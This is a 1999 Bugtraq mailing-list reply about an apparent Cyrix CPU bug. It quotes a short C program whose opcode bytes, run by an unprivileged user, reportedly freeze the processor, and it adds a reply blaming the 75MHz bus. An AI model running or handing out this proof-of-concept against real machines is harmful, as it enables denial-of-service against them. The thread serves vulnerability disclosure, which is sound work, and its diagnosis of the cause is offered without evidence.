Bugtraq mailing list archives

Re: Cyrix bug: freeze in hell, badboy


From: jkbyrne () shell athenet net (John Byrne)
Date: Fri, 5 Feb 1999 08:07:27 -0600


Ragnar Hojland Espinosa wrote:

I emailed Cyrix a few months ago, and even managed to get a "oh, we will
look at it" thanks to Rafael Reilova, but that was it till today.  A
couple of people did report it, effectively, froze (most of) their Cyrix
CPUs while running the opcodes below as non priviledged user.

While I don't have the enough knowledge to assure this _is_ a CPU bug, it
certainly looks like one to me (NO_LOCK isn't a workaround, btw).

0x804a368 <the_data>:   cwtl
0x804a36a <the_data+2>: orl    $0xe6ebe020,%eax
0x804a36f <the_data+7>: jle    0x804a368 <the_data>

Here is the code (tested with linux, any version):

/* Please compile without optimizations */
unsigned char the_data[] = { 62, 152, 13, 32, 224, 235, 230, 126, 247 };

void (*badboy)();
int main (int argc, char **argv)
{
   badboy = (void(*)())(the_data);
   asm ("movl badboy,%eax");
   asm ("call *%eax");

   return 0;
}

If you try it, please send me your /proc/{cpuinfo,version} and if it
freezes or not.
--
____/|  Ragnar Hojland  (ragnar () lightside ddns org)      Fingerprint  94C4B
\ o.O|                                                   2F0D27DE025BE2302C
 =(_)=  "Thou shalt not follow the NULL pointer for      104B78C56 B72F0822
   U     chaos and madness await thee at its end."       hkp://keys.pgp.com

I have done some research into this situation, and I've found that it's mostly
related to the 75Mhz Cyrix Bus.  I recommend that if you are running that
speed, you step it down to 66mhz.  The 75 mhz bus was built to allow faster
processor speeds with all CPU's, but was never used by Intel or AMD.  Because
of this, not much software was tested on 75mhz busses, due to the monopolistic
characteristics of Intel and AMD.

-John Byrne



Current thread: